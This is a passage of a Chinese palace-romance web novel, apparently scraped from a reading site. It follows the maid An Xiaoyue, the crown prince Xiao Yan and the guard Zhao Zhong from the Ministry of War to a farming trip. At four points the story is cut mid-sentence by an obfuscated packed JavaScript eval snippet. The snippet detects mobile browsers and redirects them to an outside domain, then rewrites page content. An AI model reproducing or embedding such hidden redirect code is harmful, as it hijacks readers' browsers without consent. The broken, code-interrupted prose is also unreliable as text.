来的不是时候 萧衍身为储君,十七岁便被封为大将军王,着实是风头无两。 但这个封号既是荣誉,也是枷锁。 军政一体导致皇权极易受到威胁,因此早在他被封大将军王时,圣上就对他掌握的兵权加以制衡。 他虽在兵部任职,却只是个“参赞军务”的虚衔。 圣上还要求他每日都到兵部点卯,但不参与核心会议,只象征性露面,以此来安抚朝臣。 安小月看着刻意放慢马速的萧衍,心情复杂。 世人道他少年有为,储位稳固,可哪里知道这其中暗藏的忌惮? 天家恩宠是被裹着蜜糖的鸩酒,也怨不得他会假装病残,以掩锋芒。 落到身上的那道目光太过炙热,萧衍忍无可忍看向左侧。 安小月作为他的掌事宫女落后马侧半步,这会儿正一脸欲言又止地看着自己。 “你到底想说什么?” 安小月瞬间回神,忙摇头,“奴第一次跟随殿下出门办事,倍感新奇,担心自己会耽误殿下的事。” 萧衍似笑非笑,“既然有自知之明,孤派人送你回府可好?” 这怎么行! 她今日跟着狗太子出来,第一是想让外界认为她颇受太子赏识,二则是想把消息传回相府。 安小月神情柔和,若是娘和阳儿知晓,定然也能放心了。 所以她怎么舍得放弃大好机会。 安小月忙道,“殿下不用担心,奴想成为像苏公公那样可以替殿下分忧的人,就一定要接受磨练,奴会坚持下去的。” 萧衍静默片刻。 虽然知道这女子为了达成目的什么哄人的话都能说出口,可他还是不免被影响情绪。 他盯着安小月神情复杂,直让后者内心忐忑不安。 “殿下……可是奴说错了什么?” 萧衍扭头看向前方,淡淡道,“那就记住你说的话,这可不是一条能回头的路。” 一旦踏上,就绝无反悔的余地。 安小月顿了顿,嗓音微颤,却显坚定,“是,奴绝不后悔。” 队伍继续前进,兵部作为独立衙署坐落在皇城核心区域,与太子府具有一定距离。 起初安小月还勉强能跟得上,经过人流密集的集市之后,队伍速度加快,她便有些吃力了。 跟在太子左后侧的赵忠终于忍不住翻身下马,快走几步追上安小月。 低声道,“安姑娘若是走不动了,不如去队伍最后如何?后面有马,我让人牵着姑娘便可。” 安小月心中一动,又突然想起上次送经书一事他被自己牵连,不着痕迹地往侧边躲了一步。 她瞄着狗太子,声音低弱蚊音,“不用了,多谢赵大人好意,我能跟得上。” 她咬了咬牙,忍着疼痛默默跟上。 赵忠明显察觉到她的疏离,愣了愣,不轻不重地点了点头,又一声不吭退了回去。 安小月松了口气。 她自以为做的小心,狗太子一直也没回头,殊不知这一切早就被萧衍用余光看尽。 就听到他冷哼一声,轻抖缰绳,身下的马猛地加快了速度。 除了安小月,其余人全是跟惯了的,别说快走,便是小跑也跟过,一个个跟着加速。 安小月毫无防备,也有心无力,一下就落了别人十几步。 她看了眼浑然不觉的狗太子,磨了磨牙,一股倔劲随之涌上心头,拎起裙摆跟着跑。 只不过伤没好全,昨夜又发了热,这会儿体力近乎透支。 还没追上队伍便腿软迈不动步子,一个不小心踩到裙摆,膝盖重重磕在地上。 “啊!” 她咬唇痛呼,声音不大不小,在人少的地方显得格外清晰。 队伍中不知是谁先发现的,突然骚动起来,赵忠听见动静回头望了眼,脸色一变。 他夹紧马腹行至太子后半步,“殿下,安姑娘摔倒了。” 萧衍头也没回,冷漠道,“跟孤说什么?你是想让孤把坐骑让给她,孤步行?” 赵忠浑身一僵。 这时,萧衍微微侧头,意味深长地看了他一眼。 赵忠顿时遍体生寒,忙低下头抱拳认错,“殿下恕罪,属下多言了。” 他停在原地没动,等队伍往前走了几步才调转方向跟上,却忍不住回头看了眼艰难爬起来的安小月。 她似乎是疼很了,脸颊苍白,微微佝偻着身子缓慢移动。 赵忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588571|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓紧缰绳,突然调转方向直奔安小月过去。 他下了马,沉声问,“安姑娘没事吧?” 安小月一愣,“赵大人怎么过来了?” 难道是…… 她忍不住看向被人群围在中间的萧衍,会不会是他派赵忠过来询问她的? 赵忠察觉到她的视线,轻咳,低声道,“殿下去兵部有要紧事,只能我来照顾姑娘,姑娘若是不嫌弃就上马吧,我牵着马,姑娘大可放心。” “可是……” 她担心被狗太子看见,他又会借机发疯。 安小月神色纠结,正想拒绝,就见赵忠一把握住自己的手腕,猛地拉了一把。 “赵大人,这不合规矩。”安小月慌乱道。 赵忠却没反应,不由分说掐住她的腰扶她上马,只是一个恍惚,安小月就脱离了地面。 这匹马极高,似乎感觉到不是自己的主人,四蹄乱踏躁动起来。 她从来没有骑过马,僵在马上动也不敢动。 赵忠嘴角微微扬起又迅速放平,“安姑娘别担心,殿下仁厚,不会计较这些的。” 安小月僵硬地扯了扯嘴角。 “是吗?那就,那就多谢赵大人了。” 赵忠轻轻颔首,没有再多言语,牵着马一点点追上队伍。 好在这里离兵部不远,没多久就到了地方。 安小月焦急的想要下马,却担心摔下去,只能把求助的目光落到赵忠身上。 后者默默上前,拍了拍肩膀。 “安姑娘可以撑着这里。” 安小月略显纠结,刚才一时没防备被他掐了腰,害得她一路上都在担惊受怕。 这会儿又要有身体接触…… 她生怕被狗太子看见,紧张兮兮地回头张望,见没人看,犹豫着把手伸过去,手指按在赵忠结实有力的肩膀上。 “孤来的好像不是时候。” 萧衍冷意十足的声音突然在不远处响起。 安小月吓了一跳,没抓紧,整个人失重一般往下摔去,“啊……救我!” 事情发生的太过突然,萧衍脸色大变,刚往前走了一步,就见安小月被赵忠稳稳抱进怀里。 挨的……极近。 第55章 卿卿我我的恩爱夫妻 安小月长长松了口气,急忙拍赵忠让他把自己放下。 后者确实这么做了,可又像是怕她还会摔倒似的,站在旁边没有离开。 萧衍蹙眉,不悦地看了他一眼。 “谁准她骑马过来?” 赵忠垂头抱拳,“回殿下,属下见安姑娘腿伤难行,唯恐耽误队伍正常速度,这才自作主张让安姑娘骑马过来,请殿下降罪。” “宫女不得骑马坐轿,这是宫规。” 萧衍冷眼看着如同恩爱夫妻一般靠在一起的两人,声音像淬了冰似的。 他缓步靠近,冷厉的气势直逼安小月。 赵忠心里一沉,不等太子靠近就主动跪了下去,低着头态度恭敬。 “是属下自作主张,与安姑娘无关,请殿下降罪。” “孤是要罚你,你大可不用着急。” 他漠然回应,直勾勾盯着安小月,“你不想解释?” “奴婢……”安小月飞快地看了眼赵忠。 上次他掩护自己,狗太子发现之后虽然没有处罚他和小沙弥,却罚了半年俸禄。 这次却又要被自己牵连,一而再触怒太子威严,又会受到什么惩罚? 她不能再连累他人了。 安小月老老实实跪了下去,额头触地。 “奴婢该死,不仅拖慢队伍速度,还连累赵大人分心照顾奴婢,不过赵大人是担心奴婢会耽误殿下的要紧事,这才自作主张……” “一切皆因奴婢而起,殿下要处罚就罚奴婢,与赵大人无关。” 赵忠没想到她会把错都揽到自己身上,心底浮现出一股隐秘的雀跃,竭力绷着脸不表现出来。 可他从小就是太子亲卫,没有一点细微变化能瞒得过萧衍。 萧衍察觉到这一点,脸色更难看了。 赵忠沉浸在某种情绪当中没有发觉,朗声道,“这件事全因属下自作主张,属下愿意独自承担后果。” 安小月忙劝,“赵大人,我不能再连累你了,你好心帮我,我怎么能恩将仇报呢?” 她攥紧拳头看向狗太子。 “殿下,是奴婢的错,请殿下惩罚奴婢吧!” “不,是我的错。” “赵大人你就别帮我说话了,真的是我的错!” “……” 两人像是较劲似的,明明是处罚,硬生生弄得像是抢功,全然不顾太子殿下越发铁青的脸色。 苏德在一旁屏气凝神,默默替两人点了一炷香。 “你们……”萧衍咬紧牙根,沉声道,“你们当着孤的面卿卿我我,真是一点都没把孤放在眼里!” “苏德,收了他的马,没有允许不得再骑,还有你……” 他猛地抬起胳膊指着安小月,气的脸红脖子粗。 还没有发话,却见她瞪着一双惊恐的大眼睛,小脸上满是狼狈,就那么直勾勾盯着自己。 萧衍充满怒火的心像是突然被泼了一盆冰水,彻底冷静下来。 他指着人半天没有下文,旁边的苏德心领神会,急忙劝。 “殿下息怒,安姑娘这几日一直缠绵病榻,也就刚好点,又是头一次跟着殿下办事,难免会出状况,不如殿下就先饶了她,等她身体再好点再做处罚。” 萧衍心中一动,又不想让人发觉自己想轻飘飘揭过。 没好气地踹了苏德一脚,“你这是又替孤做了决定?你是孤肚子里的虫?” “算了。”他很是烦躁地收回手,“这笔账先记着,若是下次再犯错一并惩罚。” 安小月被突然而降的大喜事砸的头晕目眩,半晌没有回过神。 赵忠却提高音量,带着不掩饰的喜悦道,“多谢殿下开恩,殿下仁慈!” 安小月这才被惊醒,急忙跟着磕头谢恩。 “多谢殿下开恩,殿下仁慈。” 两人连谢恩的话都一模一样,又让萧衍气出一肚子火。 苏德低声劝,“殿下,要点卯了,咱们还是先进去吧。” 萧衍咬牙指了指安小月,怒哼一声,转身大步流星的进了兵部大门。 后头的人各司其职,安小月和赵忠作为贴身伺候的人,自然应该跟着进去。 她第一次来,完全摸不着该做什么,还好旁边有赵忠提醒。 “殿下要在兵部待到午饭后才会离开,不过要咱们做的事情不多,你管着茶点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588572|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书籍就行,好在殿下口腹之欲不强,你安心歇着,不会叫你的。” “茶呢?人都**吗!” 赵忠刚说完,室内就传来一声怒吼,着实把两人都吓了一跳。 安小月怕他尴尬,忙道,“多谢赵大人提醒,我还要去准备茶水,先去忙了。” 她抓了旁边的一个小宫女就跑,有她帮忙,总算找到了茶水小灶。 茶叶和点心都是从太子府带过来的,只需要烧壶热水泡茶,再把点心摆出来就行。 但倒霉的是小灶上的火快灭了,小宫女忙着生火,安小月准备要用的东西。 就算两人手脚再快,弄好也花了一刻钟时间。 “你就别进去了,我自己去就行。” 安小月怕她会被狗太子迁怒,端着托盘,交代小宫女去做别的事,站在门口深吸了口气,慢吞吞地踏上台阶。 萧衍作为储君,虽然只是在兵部挂了个虚职,但也有独立办公的地方。 安小月进去的时候,他正一脸怒气的在写什么。 那般暴躁的模样把旁边的苏德吓得像个鹌鹑。 她刚露出半个身子就被一把拉了过来。 “安姑娘,你可算来了,熏香带了没有?殿下心情不畅,需要清火安神的香料才行!” “带了带了,我这就去取!” 她也不想触狗太子的霉头,把托盘往苏德手里一塞就往出跑,结果还没跨过门槛就被喊住了。 “孤让你走了吗?” 安小月脚步猛地顿住,毫不犹豫地转过身接过苏德手里的托盘,动作麻利的把茶点放到桌上。 “殿下,茶来了,奴婢特意放凉了些,现在喝刚好。” 萧衍哼了声,随手扔了笔,一脸讥讽地走了过来。 他深深地看了眼安小月,掀开茶盖,不悦道,“孤要喝雨前龙井,你做的这是什么?” 安小月无辜的眨巴眨巴眼,“殿下没说,那奴婢再去重新泡一壶茶。” “赵忠处处照顾你,难道连孤喜欢喝雨前龙井的习惯都没告诉你?” 萧衍阴阳怪气地讽刺了句,又道,“等你再泡一壶,孤都要被渴**。” 第56章 被老鼠毒死的人 “那怎么办?” 安小月被他接连的讽刺骂的不知所措,急的脸都红了。 “奴婢第一天跟着殿下办事就做错了事,还请殿下狠狠责罚奴婢,好让奴婢长个教训,今后再也不敢了!” 她自觉跪了下去,颤巍巍的抬起胳膊举过头顶。 萧衍不明所以,皱眉,“你这是做什么?” 安小月委屈巴巴道,“奴婢身为伺候殿下的人,却不知道殿下的喜好,犯了大错,请殿下打奴婢的手吧!” “你……孤又没说要责罚你!” 萧衍一愣,语气不自在极了。 他只是想吓唬一下她,没想到竟然会被追着要处罚,下意识往后退了一步。 若是真想责罚,刚才在门口的时候就一并罚了,何必还要找这种借口? 萧衍没想到她竟然会顺杆子往上爬,一时间有些不知道该如何解决,眼风扫向苏德。 平时话比谁都多,这会儿是哑巴了吗! 没看到他被架起来下不了台吗! 正在看热闹的苏德发现自家爷投过来的视线,肌肉一下子夹紧了,扯出一抹笑挤了上去。 “安姑娘多心了,殿下平日就喜欢喝淡口的茶,只是今日突然想喝浓茶了,这才说让换一壶,安姑娘身上有伤就去歇着吧,老奴亲自去泡便可。” 他说完端起托盘,忙不迭地溜了出去。 萧衍眼底飞快地闪过一抹满意,察觉到安小月看了过来,又恢复成平时的冷漠。 “起来吧,别动不动的就跪,好像孤**你似的。” 安小月垂头,嘴角飞快地翘起又落下,“喏,奴婢谨记殿下教诲。” 出了这个小插曲,萧衍刚才还一肚子的火竟然烟消云散,一点都找不出来了。 他背着手走到窗边,幽幽道,“第一次来这个地方,感觉如何?” “很大,很庄重,若不是有殿下在,奴婢恐怕都要被吓晕了。” 萧衍觉得她又说谎哄自己,嘴角不屑地扯了扯。 “这么好的一个地方,你竟然还会被吓晕?真是烂泥扶不上墙,这辈子就只是伺候人的命了。” 安小月忍不住抬头看了眼。 他隔窗远眺,不知在看什么,眉间拢着旁人看不懂的情绪,浑身散发出一股浓浓抗拒气息。 狗太子不喜欢这里。 她想了想,轻声道,“奴婢伺候的人是太子殿下,还有什么不满意的呢?人总要懂得知足,再说鱼和熊掌不可兼得,稍有不慎就是万劫不复,奴婢很知足了。” “知足?”萧衍挑了挑眉,转身坐到软塌上,拍了拍腿。 “过来给孤好好按按。” 安小月乖顺地走到他旁边跪下,熟练地脱鞋,把他的脚架在肩膀上,有节奏地按压。 “你刚才说人要懂得知足,可若是不知足,又该如何自处?难道就要眼睁睁看着别人抢了自己的东西?” 萧衍仰头闭着眼,声音低的像是在叹息。 可安小月却没有轻视这个问题。 她略作思索,轻声道,“殿下应当没有种过稻子吧?奴婢进宫之前,曾经听邻居爷爷讲过种庄稼的经验,殿下若是不嫌烦,可否听奴婢讲一讲?” “你说就是。” 安小月斟酌了一下用词,慢吞吞道,“邻居爷爷说,什么东西都不能贪多,就像春耕时田里的水,不能太多,才能让秧苗扎根,若是急着灌满,到了秋收时反倒颗粒无收。” “这就是知足,奴婢想任何事情都是这个道理,不必急于一时,自然会有结果。” 萧衍早已经睁开了眼,心里翻来覆去的念叨她这几句话。 很简单,却蕴藏着大道理。 他撑着身子,目光灼灼的盯着,“那若是被人抢了自己的东西又该怎么办?” 安小月轻轻一笑。 “在村子里这种事情时有发生,最不知足的就是那些鼠虫,杀是杀不死的,又源源不断,村民们就会在其中一个洞口放置粮食,每日都放,缺了就补。” “过上一些日子,那些鼠虫就以为这里会有源源不断地粮食,会在附近打洞住下来,到那时就好办了。” 她轻柔地把左腿放下,换了个位置,拍了拍他右边那条腿。 “最主要的是耐心,被偷走的粮食它们是吃不完的,早晚会找 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“没有,大家都说凶手就是那些偷粮食的老鼠,老鼠狡猾,怎么可能被轻易抓到。” 她伺候萧衍穿上鞋子,站起来后退一步。 像是没有看到他脸上的震惊似的,笑道,“殿下可是渴了?奴婢这就取茶来。” 萧衍没有出声,静静地盯着她离开的背影。 她虽然说的模模糊糊,但他能明显察觉到这个人对她来说应当很重要。 她借着这次机会到底想告诉自己什么? 世上竟还有被老鼠毒死的人? 萧衍一时间心乱如麻,他作为储君,一朝的大将军王,从来只把目光放在战场上。 却忘了田里也属于战场,他作为储君,却需要被一个宫女提醒才能注意到这些事情。 萧衍握紧拳头,是他顾此失彼了。 安小月没有再进来,茶是被苏德送进来的,到了吃午饭的时候,萧衍才从屋里出来。 “孤累了,不去教场,回府去吧。” 第57章 怎么晕了 萧衍带着安小月去兵部的事情没藏太久,很快传的风风雨雨。 消息传进宫里的时候,皇后正在修剪一盆牡丹,闻言动作一顿,眸光大亮。 “可是真的?” 心腹嬷嬷用力点头,“绝对没错,太子殿下骑马去的,经过集市,百姓们都看到了。” “好!”皇后放下剪刀,忽然轻笑出声。 “本宫还以为她空有相貌是个木头,没想到确实有几分本事,这才多久就勾的太子为她破例。” 嬷嬷低声道,“娘娘只怕还要小心着点六殿下。” 皇后眼神一凛,“你说的对,让人把六皇子请过来,就说本宫病了,让他过来侍疾。” 到底是她亲生的,没人比她更了解萧泽。 萧泽早已听到了消息,气的砸了一只上好的青瓷茶盏,在寝殿里大发雷霆。 “太子哥哥定然是故意的!他故意带着这个女人招摇过市,就是想打我的脸!” 萧泽面容扭曲,“安小月心悦之人明明是本皇子,要不是母后阻拦,她早就是本皇子的人了!该死的萧衍!” “殿下,慎言!”心腹太监冷汗直流。 “太子殿下毕竟还是太子,殿下要小心隔墙有耳啊!” 萧泽已然被气疯,来回踱步,又突然停下。 “不行,我不能再等了!照这样下去,只怕太子也会喜欢上安小月,我不能让他抢走我的人!” “殿下别冲动,皇后娘娘定然派人看着殿下,要不,要不还是……” “滚,孬种!” 萧泽见他三番两次给自己泼冷水,忍无可忍一脚踹了过去。 “备轿,本皇子要出宫。” 老太监战战兢兢地劝,“殿下不如再等等?过上七八日便是皇后娘娘寿宴,太子殿下必定是要进宫的,何愁没有机会见那女子?” “就算太子殿下不带那女子进宫,到那时殿下再偷去找那女子,岂不是更容易?” 萧泽果然动了心,略作思索,不情不愿地点了头。 “你说的有理,就按你说的来办吧。” 老太监松了口气,正欲躬身告退,却听见殿外传来一阵急促的脚步声。 他转头望去,只见皇后宫里的大宫女彩屏小跑而来,满脸匆忙。 彩屏额头沁着汗,恭敬行礼。 “奴婢给殿下请安。” 又匆忙道,“殿下,娘娘方才突感心口疼痛难忍,太医说是旧疾发作,特派奴婢请殿下过去瞧瞧。” 萧泽闻言脸色骤变,片刻又冷静下来。 他和老太监对视一眼,心想怎么偏偏在这个节骨眼? 母后怕不是故意哄他过去,怕他惹事? 彩屏焦急催促道,“殿下快些吧,娘娘晕倒之前一直在念叨六殿下,连药都喝不下去啊!” 萧泽心头一紧,“怎么还晕了?” “本皇子这就过去,福全,把本皇子给母后准备的丹药也带上,兴许用得上!” 方才的不情愿早已经抛到九霄云外,他大步流星地冲出寝殿,锦袍在疾行中猎猎作响。 而此时的安小月正泡在小厨房里大展身手。 狗太子从兵部回来就把自己关进了书房,连召了四个幕僚过来议事,忙的连午饭都没用。 苏德又求到了她这里,最后用一天休息换她做顿饭。 安小月为了让狗太子也痛快答应,动起手来自然格外卖力,却忍不住胡思乱想。 狗太子莫不是把她的话听进去了吧? 虽然她的确是故意说给他听的,本以为要费些口舌才能让高高在上的太子注意到民间疾苦,没想到他动作这么快。 正出神时,就见苏德笑容满面跑了进来。 “安姑娘,午膳可做好了?殿下刚才主动传了膳,急着送过去呢!” “都好了,公公让人来端吧。” 她扬声回了句,把最后一道菜盛出来。 略作思索,安小月拦住转身欲走的苏德。 一脸难为情道,“苏公公,我刚才在路上摔的那一跤实在有点重了,这会儿膝盖都还疼,若是不要紧的话,能否让我回屋休息片刻?” “无碍,殿下留了几位先生一起用饭,只怕也想不起来安姑娘,大可放心回去。” “好,多谢公公了!” 安小月捡了几样留下来的饭菜装进食盒,拎着从小路绕回了屋子。 幸好苏公公答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595244|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应了,不然自己过去伺候,岂不是会碰上那几位先生? 到时候狗太子说不定会把她拉出来说事,不如趁早躲了。 王嬷嬷做事还没回来,她便自己趁热吃了。 殊不知此时的相府,有人恨不得将她**万段。 主屋里传来一道压抑的啜泣声,随即桌子又被人拍得砰砰作响,哭声戛然而止。 安禄海怒喝,“你还有脸哭!若不是你自作主张寻死丫头的麻烦,怎么会惹出来这种祸事?现在三公主和六皇子都惦记上了相府,全是你做的好事!” 安欢颜跪在地上,脸色苍白,膝盖早已磨出了血痕。 她咬紧了嘴唇并没有替自己辩解,一旁的王氏却坐不住了。 王氏红着眼眶道,“夫君为何要责罚颜儿?明明是那三公主和六皇子自己设局,还拉了颜儿当挡箭牌,现在事情败露却全都甩到颜儿身上,我真是错看了他们!” “你也闭嘴!” 安禄海见她还不知悔改,高高扬起右手,似乎是想要**。 王氏和安欢颜同时脸色大变。 “你,你……居然想打我!” “父亲,这件事情和母亲无关,是我自作主张,三公主又明里暗里暗示女儿不会出事,女儿这才会昏了头……” 安欢颜哭得可怜,安禄海一看也心疼了。 但又想到自己被六皇子叫去训斥,就又气得一肚子火。 他冷脸问,“三公主和那死丫头无冤无仇,怎么会想着替你教训她?从一开始你就被她诓骗了,蠢货!” 安欢颜眼底闪过一抹恨意,以手掩唇,又伤心欲绝的痛哭起来。 王氏还记着他想要打自己的仇,扑过去和女儿抱在一起。 哽咽道,“夫君可是相爷,三公主的生母不过是一个宫婢,为何要怕她?” 安禄海失望摇头,有这种愚蠢的母亲,难怪他费了心思却还是教出来一个蠢女儿。 “三公主自幼在皇后身边长大,情意何其深厚?若不然,她为何会站队六皇子?” 安禄海为了防止她们在做出蠢事,恐吓道,“从今之后别再耍这些小心思,等事情办成,她只有死路一条,不值得你们花心思。” 第58章 对种庄稼感兴趣 王氏和安欢颜对视一眼,眼里皆闪过不甘。 那丫头最近风头太盛,若是不趁早敲打,只怕日后更难拿捏。 但当着安禄海的面,两人还是低眉顺眼地答应了。 安禄海神色稍缓,语气也温和了几分。 “再过几日就是皇后娘娘的寿宴,衣裳可做好了?若是缺首饰就开我的私库去取,这是难得露脸的日子,你可要给爹争气。” 安欢颜乖巧一笑,“父亲放心,这些东西娘都替女儿准备好了,一定不会让父亲丢脸。” 说罢,她握住王氏的手轻轻捏了捏,暗示母亲暂且忍耐。 后者虽有些不愿,却也勉强挤出来一抹笑。 “夫君放心,一切有我。” 安禄海满意地点了点头,想到最近发生的怪事,眼中闪过一丝疑虑。 “不过那死丫头确实有几分本事,竟然能哄得太子殿下带她去兵部,会不会……她已经知晓了那件事情?” 要不然解释不通太子殿下怎么会如此纵容一个婢女。 王氏提起安小月就一肚子恨。 咬牙道,“若是她真的知情不报,那我绝对饶不了她!” 安禄海皱了皱眉,不大认可王氏的做法。 安小月再低贱身上也留着他的血,若真的能哄得太子殿下开心,留下又有何妨? 再过上几年,颜儿嫁进去也会多几分助力,有她们姐妹两联手,相府何愁不能更上一层楼? 可这些话他却没有说出口,担心伤了女儿的心。 这边暂且不提,安小月以为自己总算躲过一劫,正躺在软塌上打算小憩片刻。 突然,一阵急促的敲门声打破了她难得的宁静。 “安姑娘在里面吗?殿下请姑娘过去说话,姑娘快点出来吧!” 门外传来小太监焦急的声音。 安小月一个激灵从榻上爬起来,瞪圆了杏眼,死死盯着门口。 不是说狗太子叫了其他人用膳,想不起来她吗? 她在心里嘀咕,来不及细想,敲门声再次响起,比方才要更加急促。 “知道了,我马上过去。” 她故作镇定扬声回答,敲门声总算停了。 安小月三步并两步跑到屏风后,舀了盆冰水卸了面上的妆,又用粉在唇瓣上压了压,硬是把自己折腾成一副病入膏肓的模样。 就算狗太子想折腾她,看到她病得快“死”了,总该生出一点恻隐之心吧? 她认真盯着铜镜,确认没有差错才拉开门,一瘸一拐地朝玉庆宫挪去。 苏德早已在门口等候多时,看到她过来急忙迎了上去。 低声问,“姑娘白日到底跟殿下说了什么?殿下回来召集幕僚议事,现在怎么还念叨着要去种稻子?” 问题是都这个月份了,哪来的稻子给他种? 苏德急得直搓手。 安小月闻言大吃一惊。 “殿下要去种稻子?” “可不是嘛!那几位先生刚走,殿下便命人收拾行装,还让人去外面采买了农具,这会儿正在换衣裳呢!” 安小月一顿,随即嘴角不受控制的上扬。 若不是顾及苏德还在,她简直要被狗太子这说风就是雨的性子逗得笑出声来。 苏德急得拍大腿。 “安姑娘,你怎么还能笑得出来啊!这么匆忙,我从哪儿找地方给殿下种稻子啊!” “苏公公莫急。”安小月轻声安抚,“公公若是放心的话,我这里倒是有个好地方,那里民风淳朴,定不会让殿下涉险。” “不行也得行了,你把地方报出来,我让人先去探探。” 苏德愁眉苦脸,等她报出地名之后转身就走了,也没告诉安小月她用不用进去。 正在她举棋不定的时候,王嬷嬷抱着个包袱小跑过来,额头上挂着汗珠。 “姑娘跑得可真快,我刚才正拿了衣裳回去要让姑娘换,结果姑娘却已经到这里了。” 安小月看向她手里的包袱,“是要出门的衣裳吗?” “是,殿下特意交代人去外面采买的,姑娘找间没人的屋子换上吧,别让殿下出来还要等。” 安小月想了想,狗太子这会儿兴致勃勃,若是扫了他的兴致,只怕会雷霆震怒。 她还不如乖乖应了,反正又不是没种过庄稼,倒是狗太子可能会不太习惯。 她接了包袱,找间屋子麻利的把新衣裳换好。 麻料的窄袖短打,一看就是庄稼人常会穿的衣裳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595245|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换好刚出了门就狗太子爷从正殿出来了,他一身粗布麻衣,却依旧难掩风姿。 安小月快步走过去行礼,“奴婢给殿下请安。” 萧衍漫不经心地点了点头。 “孤听了你的话,对种庄稼甚是感兴趣,想体验一下百姓们的辛苦,你跟着孤一起去。” 安小月原是想用腿伤推辞,但低头一看自己换好的衣裳,索性干脆答应。 “奴婢领命。” 这次出行颇为低调,只赶了两辆马车,一辆坐人,一辆放着满满的农具。 赵忠带了四个侍卫骑马跟随,一行人直奔郊外。 安小月和苏德作为贴身伺候的人,自然是要跟着太子坐在第一辆马车上的。 但还没驶出城门,苏德就因为泡的茶太烫惹怒了太子,被赶去和农具挤一辆马车了。 转眼间,车厢里只剩下安小月跟狗太子独处。 这是自他肠胃不适吐在自己身上之后,他们第一次单独相处。 安小月低眉顺眼地跪在门口,眼观鼻,鼻观心,就连呼吸都放的极轻。 萧衍闭目养神,像是睡着了。 安小月观察半晌,终于松了口气,小心翼翼地活动了下压麻了的胳膊腿。 只是腿刚伸出来,就听见有人冷哼一声。 她心头一跳,忙把腿收了回去,面颊微热。 “殿下,奴婢腿上有伤,只是想稍微活动一下。” “孤又没说什么,你紧张什么?” 萧衍声音听不出喜怒,懒懒扯了下嘴角,抬手点了点矮桌上的茶杯。 安小月立即跪坐起来,拎起茶壶给他斟了小半杯,双手捧着递过去。 萧衍慢条斯理地接过,抿了一口,眉头皱得更紧了。 下意识的想要斥责,余光瞥见她忐忑不安的眼神,又硬生生的憋了回去。 “罢了,给孤剥松子。” “诺。” 安小月从侧边抽屉里取出剥松子的工具,指尖灵活地剥出一颗颗松子。 萧衍盯着她看了会儿,意外的觉得烦躁。 他以为单独相处,她还会像以前那样试图勾引,没想到她连眼睛都不乱瞟。 倒是显得他自作多情。 第59章 有你是孤的福气 萧衍冷冷地别开脸,没有再看一眼。 行至安小月所说的地方天色已经暗了,放眼望去田地里只有几个庄稼汉收拾农具准备归家。 见他们一行人虽穿着朴素却难掩贵气,都远远避开了。 苏德看着太子脸色不虞,心里暗自叫苦。 小心翼翼地凑上前劝说,“殿下,天不早了,不如咱们先回去,明日再过来?” 萧衍没有答话,俯身抓了一把土块,抓在手里细细碾磨。 察觉到指尖的干燥,他眉头皱得更紧了。 半晌后,他才开口,声音带着不容置疑,“赵忠,你带他们去找个地方借宿一宿,省得来回在路上奔波。” 赵忠和苏德交换了个无奈眼神,只能硬着头皮答应下来。 没办法,他们太了解这位太子爷的脾气了,向来不受管控,随性惯了。 赵忠带人进了村,用一块银子换了个大院子。 是村里最富裕的人家听说有贵人要借宿,忙不迭把自家住的屋子腾了出来,搬去别的地方住了。 安小月跟在最后,偷偷打量着这个所谓“最好”的院子。 放眼望去灰扑扑的一片,空间狭小就算了,炕席上还破了个大洞。 萧衍看着炕席上的破洞皱眉,“赵忠,带人搭帐篷,孤就住在田边。” 众**惊失色,安小月更是气的牙痒。 她奔波了一路,现在只想躺着睡会儿,没想到狗太子又要作妖蛾子! 明明有地方住,非要在野外搭什么帐篷! 赵忠和苏德则是为了太子殿下的安危考虑,异口同声道,“请殿下三思!” 萧衍却很固执,大手一挥,“就这么定了,快去准备。” 他目光轻飘飘落到安小月身上,嘴角勾起一抹意味深长的笑。 安小月眼珠一转,突然弯腰捂着膝盖痛呼一声。 苏德立刻会意,夸张的大叫起来。 “安姑娘怎么了?莫不是因为腿伤难受?” “苏公公别担心,我只是腿伤未愈,晚上天又凉,有点受不住而已,没事,大不了我多裹两层被子。” 